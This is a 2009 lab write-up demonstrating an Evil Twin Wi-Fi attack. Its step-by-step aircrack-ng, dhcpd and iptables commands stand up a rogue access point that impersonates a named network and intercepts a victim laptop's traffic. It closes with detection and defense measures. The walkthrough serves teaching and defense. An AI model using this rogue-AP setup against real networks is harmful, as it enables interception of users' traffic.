Evil Twin Attack Demonstration

Authors:

Eric Goldman

13 May 2009 :: Security :: #wi-fi #evil twin #hacking #networking #mitm

Here is a walkthrough presentation with embeded video. A more detailed write up can be found below.

The following is a demo and presentation I made to explain the Evil Twin AP attack. In the Evil Twin attack, you use software to immitate a real access point in order to trick user into connecting to your AP instead of the real AP. This gives you man-in-the-middle abilities to snoop and inject data. The presentation includes videos direct from YouTube, so you can easily see the attack in action. I recommend going full screen and watching the videos in HD for best viewing.You can also view the demo videos directly at YouTube.

Evil Twin Demonstration from Eric Goldman

Note, this report is for educational purposes only. The experiment was carried out in a secured lab setting. You should NOT try this at home. If you perform the Evil Twin attack in public, you are almost certainly committing a crime (e.g. computer trespass) in your state/province/country. I will not be held responsible for your usage of information. Use your knowledge for good, not evil.

This report is also available as a PDF, which includes the full Appendix and all content, which may not be shown here. Please note, some external documents such as original packet captures will not be provided. If you just want to see the attack and not read the details, then check out the presentation version above, complete with example videos.

Network Topology

Network Diagram for Attack Scenario

System Profiles

Details for the "Victim" System
Value	Configuration Detail
Purpose	Victim Machine, emulate real user falling for attack
Hardware	IBM t42 Laptop
Operating System	Windows XP SP 3 (Build: 2600)
OS Modifications	Nothing special, real client machine used in daily computing; no changes to wireless networking, used Windows Wireless Management
Wireless Hardware (Drivers)	Built-in Internal Laptop Card Atheros chipset (Atheros athw.sys version 7.4.2.105 )
Wireless Card MAC	00:0E:9B:6E:28:7D
IP Address Settings	Provided by AP On Fake AP: 10.0.0.100 On Real AP: 192.168.1.100

Details for the "Monitor/Capture" System
Value	Configuration Detail
Purpose	Not involved in attack, used to capture wireless packets
Hardware	IBM t42 Laptop
Operating System	Backtrack 3 Live CD
OS Modifications	No modification
Wireless Hardware (Drivers)	Built-in Internal Laptop Card Atheros chipset (madwifi-ng)
Wireless Card MAC	00:0E:9B:6E:28:9A
IP Address Settings	Only used in monitor mode; does not require setting IP Address

Details for the "Real AP" System
Value	Configuration Detail
Purpose	A Real AP that the user would be connecting to normally.
Hardware	Linksys WRT54G
Operating System	Official Linksys Firmware (Version: 1.02.5)
OS Modifications	No additions or changes to OS/Firmware
Wireless Hardware (Drivers)	Built-in wireless interface of router/AP (N/A)
Wireless Card MAC	00:0E:9B:6E:28:7D (Wireless AP Interface)
IP Address Settings	IP Provided by RIT DHCP; Provides DHCP to Clients in 192.168.1.0/24 subnet

Details for the "Fake AP" System
Value	Configuration Detail
Purpose	A laptop masquerading as a legitimate AP for man in the middle
Hardware	IBM t42 Laptop
Operating System	Backtrack 4 Beta Live CD
OS Modifications	Updated aircrack-ng suite via svn (Version 1.0-rc3 Revision/Build 1508)
Wireless Hardware (Drivers)	Built-in Internal Laptop Card Atheros chipset (madwifi-ng)
Wireless Card MAC	00:0E:9B:BF:AA:B2 (Wireless AP Interface, when setup as AP, automatically set)
IP Address Settings	IP Provided by RIT DHCP; Provides DHCP to Clients in 10.0.0.0/24 subnet

Software Used

Victim

The Victim Laptop is running a standard Windows XP setup in terms of wireless. Wireless is managed by windows and not by third party program.

Monitor/Capture

On the monitor/capture laptop, the Backtrack 3 Final Live CD was used. Because this machine was only being used to monitor, nothing was added or changed. In order to capture wireless traffic, airodump-ng (version: 1.0 rc1 r1083) was used. To put the system into monitor mode airmon-ng (version: 1.0 rc1) was used. Both of these applications are included by default in Backtrack 3 and were not modified in any way for this project.

Fake AP

In order to run the Fake AP tools from the aircrack-ng (http://aircrack-ng.org) suite were used. The specific tools used airmon-ng (version: 1.0-rc3) and airbase-ng (version: 1.0 rc2 r1385). Some built in system commands were also used such as modprobe, which is used to load kernel modules (http://linux.die.net/man/8/modprobe). In addition, in order to provide routing for the clients once they connected to the Fake AP, dhcpd (version: 3.1.1) and iptables (version: 1.4.0) were used.

Real AP

Nothing special was used on the Real AP, only the Linksys web management interface.

Scenario Overview

In this scenario, we emulate an Evil Twin attack. An Evil Twin attack is where you create either a physical AP or soft AP that mimics the AP which a user will connect to. The idea is that either through user error or application design, you will trick a user into connecting to your fake AP instead of the original AP. When the user connects to your Evil Twin, you will have the ability to commit man-in-the-middle (MitM) attacks.

The attack starts with the Victim workstation connected to the real AP. Either through knowledge or reconnaissance you find out the relevant information about the real AP. Usually, the SSID is sufficient, but you may also want to imitate the user’s channel as well. After you have obtained this data on your attacker workstation, you start airbase-ng using the setting you have acquired from the Real AP. It is possible to set airbase-ng to respond to any probe request, however, we targeted our attack to a specific SSID in order not to attack any innocent workstations that were within transmission range. Once you have started airbase-ng, you must setup the client routing, which is described in detail below. The Fake AP will begin to constantly send out deauthentication packets to the victims pretending to be the Real AP. In addition, it will also begin to send out Probe Responses for the Real AP’s SSID, but with its own MAC. These packets are sent in order to force the victim to disconnect from the Real AP and then connect to the Fake AP. After a few seconds, the Victim will deautheticate from the Real AP and then authenticate with the Fake AP. If our case, the Victim receives it IP from the AP’s DHCP server. The client may try to request its current IP from the new AP. In our case, the IPs available on the Fake AP are in a different subnet. Therefore, the client temporarily loses higher level connectivity, and takes on an automatic private IP; however, eventually it will get a new DHCP address from the Fake AP. To the user on the Victim machine, it simply seems that they have lost their connection temporarily; when they can continue browsing the web after a few seconds, they do not notice anything different about their connection. As a result, the attacker is now free to commit MitM attacks on the Victim.

In our scenario, we have also set up a third workstation to capture traffic. This machine is not part of the network, and only captures traffic. The process for setting up the monitoring machine is also described below.

Running the Scenario

Setting up Monitoring

In order to capture the events of the attack, a third laptop was used (Monitor/Capture) and the aircrack suite was used to capture traffic. The traffic was saved as .cap files which can be opened in protocol analyzers / packet capture software such as Wireshark.

In order to setup monitoring do the following on the Monitor/Capture machine:

Boot Live CD
Login as user root with password toor
Run iwconfig to find out the name of your wireless card on the system, this is usually something like wlan0 or wifi0, though some wireless card with just be assigned as eth1. Note, the number at the end is dependent upon the number of devices on a system, and the order they loaded. On the system used in this lab, the wireless adapter is wifi0
Use airmon-ng to activate monitor mode:
```
airmon-ng start wifi0
```
This will create a new virtual (VAP) interface and place it in monitor mode. The name will depend upon the drivers, but it will be something similar to ath0. In this case ath2, was created. Every time you run airmon-ng on a real interface, a new virtual interface will be created unless you deleted the previous one. If you want to destroy a virtual interface you would type something like:
```
airmon-ng stop ath2
```
Once you have a virtual interface in monitor mode, you can start capturing traffic. The general form is:
```
airodump-ng [interface name] -c [channel #] --bssid [MAC Address of AP] -w [filename]
```
The interface name is required, and should be the name of your monitoring interface, in our case ath2. The -c option allows you to specific the specific channel to listen on, this helps reduce the number of extraneous packet collected. The --bssid option allow you to filter for a specific AP, since we are only interested in connections to either the Real AP or Fake AP this also helps reduce the number of extraneous packet. The -w option is used to save the dump to a file and the value is used as the prefix for the output files.

For our case, we ran the following:

To capture against the Real AP:
```
airmon-ng ath2 -c - 2 --bssid 00:0E:9B:6E:28:7D -w RealAPCapture
```
To capture against the Fake AP:
```
airmon-ng ath2 -c - 2 --bssid 00:0E:9B:BF:AA:B2 -w FakeAPCapture
```
The output of running the capture command will make two files, a *.cap file and a *.txt file. The *.cap file can be opened by Wireshark/tcpdump for analysis and the *.txt file has a summary of the capture in human readable format. In this demo, the APs were not active at the same time in order to make it more clear what was happening in the captures.

Running the Fake AP

The following commands are run on the Fake AP laptop. There are two main stages, the first is updating software and configuring the services required for the attack, and then running the actual attack.

Setting up the Fake AP basics

Boot Live CD
Login as user root with password toor
First, bring up the wired Ethernet interface (eth0). This is necessary in order to get the software updates needed to run the attack successfully. To bring up the interface and have DHCP assign an IP address run the following commands:
```
ifconfig eth0 up
dhclient
```
An IP address will be provided by the public DHCP server that connects us to the Internet.
The next step is to update the aircrack-ng suite since the included version on Backtrack 4. We accomplish this using subversion and make files. An understanding of subversion and compiling is not required, simply run the following commands to download, compile, and install:
```
svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
cd aircrack-ng/
make && make install
```
This will download and compile the latest version of aircrack-ng on your system.
The next step is to properly configure the DHCP server (dhcpd). You should edit the following configuration file: /etc/dhcp3/dhcpd.conf

Clear any settings currently in the file, and enter the following:
```
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;


subnet 10.0.0.0 netmask 255.255.255.0 {
   range 10.0.0.100 10.0.0.254;
   option routers 10.0.0.1;
   option domain-name-servers 129.21.17.3, 129.21.18.4;
}
```
These settings will setup the necessary DHCP settings. A subnet is created on the 10.0.0.0/24 subnet. The other settings will later correspond to the iptables settings used for NAT translation. In some instances it may be necessary to change the domain-name-servers value on the first line to one of your external, provided DNS name servers, only change this if you experience problems.

Running the Fake AP

With the above software updates and settings, we are now ready to setup the Fake AP. There are two separate phases, starting the Fake AP program and then setting up client handling through the iptables routing and running DHCP. You can run the Fake AP steps and then the Client steps all in one window, but it is easier to use two or more windows.

Start the Fake AP

Start up a monitoring interface to run the Fake AP ontop of, the explanation of these steps it already outlined above, so only the commands will be shown here:
```
iwconfig 
airmon-ng start wifi0
```
In this case, a virtual interface ath0 was created.
Next, we run the modprobe command to load the tun (tunneling) module
```
modprobe tun
```
This is necessary for routing later. For more information about tun module see: http://www.kernel.org/pub/linux/kernel/people/marcelo/linux-2.4/Documentation/networking/tuntap.txt
Now, we used airbase-ng, part of the aircrack-ng suite to start a fake AP:
```
airbase-ng -e "Group5Test"  -c 2  -v ath0
```
Since the real AP we are attacking is called “Group5Test”., we set the -e field, which is for ESSID, to the same. The -c option is for channel, and thus we choose channel 2 since our real AP also used this; in most cases the user or the software will connect even if you use a different channel. Last we specify the -v option which is for the interface, in this case ath0. There are other commands that can be used to force deauthentication attacks or WEP stealing, they were not used in this attack in order to protect innocent workstations not part of the scenario environment. This command will provide output; if you are running as a script you should redirect output. We chose to run the Fake AP commands in their own window so we could observe the output.

Start Services

Services should be started after the Fake AP is up, the following can be run as script, all commands should be run each time. We chose to run these commands through a script, in a separate window from the commands in the previous section.

Create the tunneling interface and configure.
```
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
```
You may require different settings depending upon your hardware and DHCP settings. The at0 interface is created by airbase-ng when it is run, using airtun-ng (which is also part of the aircrack-ng suite). This is why these commands must be run after the Fake AP is started.
Create the default route using the built-in route command:
```
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
```
Again, your settings should match those specified in your dhcpd.conf file above.
Next, we configure iptables to perform network translation using NAT in order to connect our clients to the Internet like a router would:
```
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
```
These commands remove any old settings that may have been set.
```
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
The above statements set up network translation and forwarding, eth0 is selected because it has access to the Internet/target network.
Next, we configure DHCP.
```
echo > '/var/lib/dhcp3/dhcpd.leases'
dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &
```
The first command will empty out any old leases that may be present from a previous run. The second command is used to start the DHCP server using our configuration file specified earlier and through the tunneling interface created when the Fake AP was started. You may want to redirect the output of dhcpd3 to a file or /dev/null, the DHCP exchanges are configured to be logged in our dhcpd.conf configuration file above.
This last step may not be necessary, but it is used to ensure that the system allows IP packet forwarding.
```
echo "1" > /proc/sys/net/ipv4/ip_forward
```

Get more details about this command at: http://linuxgazette.net/issue77/lechnyr.html

Once these commands have been setup and run, any user will be able to connect to your Fake AP as if it were a Real AP. They will have access to any services you provide, and you can perform many different attacks. This particular setup could also be used to create a non-malignant Fake AP if desired.

Results

The Victim laptop first connected to the valid AP. After the Fake AP was started, the Victim was deauthenticated from the Real AP and then authenticated with the Fake AP. No Specific DoS attack was launched against the Real AP, the attack only relies on communication between the client and the Fake AP.

We will now show some relevant packet capture from the attack. This will help demonstrate how the attack works, the full details of the attack can be found in the Appendix I.

Video Capture We used screencasting software on all 3 laptops to show the attack. Please visit the following YouTube link if you would like to watch the video:

http://www.youtube.com/view_play_list?p=41518E3B27EE602B

Remember to enable HD to better read the onscreen text.

Packet Captures

Here is a brief summary of the packets below: First we see the DHCP Request & ACK from the real AP. We then see the Fake AP come up and begin to send deauthentication packets, though it looks like they are coming from the Real AP. The Real AP continues to send Probe Responses. The Fake AP will continue to send the falsified deauthentication packets and then begins to send its own Probe Responses to the client. Eventually the Victim and Fake AP authenticate and then associate with each other. You can then see that the Victim checks to see if it can have its current IP address, then goes to automatic private address, then eventually receives DHCP from the Fake AP. You should also note, that as long as the Fake AP is running, it will continue to send Probe Responses and the falsified Deauthentication packets in an attempt to keep the client from going back to the Real AP. Please see Appendix I for the full packet details.

[[[Please see the PDF version for this part of the report]]]

Thoughts on the exploit and defense

On its own, the Evil Twin attack is not very interesting or necessarily dangerous. However, once the attack has been committed, it opens the door for many more attacks which can cause damage or help with reconnaissance and further network penetration. The Evil Twin attack however is very important. It demonstrates the weaknesses with the design of 802.11 management that allow for an attacker to easily manipulate network management features. Looking at such attacks can help designers of future versions to develop more secure protocols and is important for current wireless network administrators to understand the threats to their network.

The Evil Twin attack is fairly easy to perpetrate. The software is freely available and a very large number of wireless chipsets are supported. As a result, any script kiddie can learn how to use the tools then deploy a Fake AP in public. Users who already trust public Wi-Fi are not likely knowledgeable to know they were ever attacked. As a result, their connections will be hijacked and any number of MitM attacks may be used.

The Evil Twin attack can be detected and its effects limited to some extent (Schiffman, 2007). Protective issues include installing a wireless intrusion prevention system (WIPS); most commodity WIPS can prevent against these attack by default. Other protective measures may include installing extra security layers such as 802.1x. In addition, network administrators should monitor traffic and perform site surveys in order to detect Evil Twins and other Rogue APs.

References

Hackers come up with new methods to hack Wi-Fi networks. (2008, March 21). Retrieved April 6, 2009, from Internet Security: http://www.internet-security.ca/internet-security-news-010/hackers-coming-up-with-new-ways-to-hack-wi-fi-networks.html

Mateti, P. (2005). Hacking Techniques in Wireless Networks. Retrieved April 6, 2009, from Wright State University: http://www.cs.wright.edu/~pmateti/InternetSecurity/Lectures/WirelessHacks/Mateti-WirelessHacks.htm#_Toc77524669

Phifer, L. (n.d.). Anatomy of a Wireless “Evil Twin” Attack (Part 1). Retrieved April 9, 2009, from Watch Guard: http://www.watchguard.com/infocenter/editorial/27061.asp

Schiffman, N. (2007, October 4). How ‘evil twins’ and multipots seek to bypass enterprise Wi-Fi defenses. Retrieved April 10, 2009, from Tech Target: http://searchsecurity.techtarget.com/tip/0,289483,sid14_gci1274396,00.html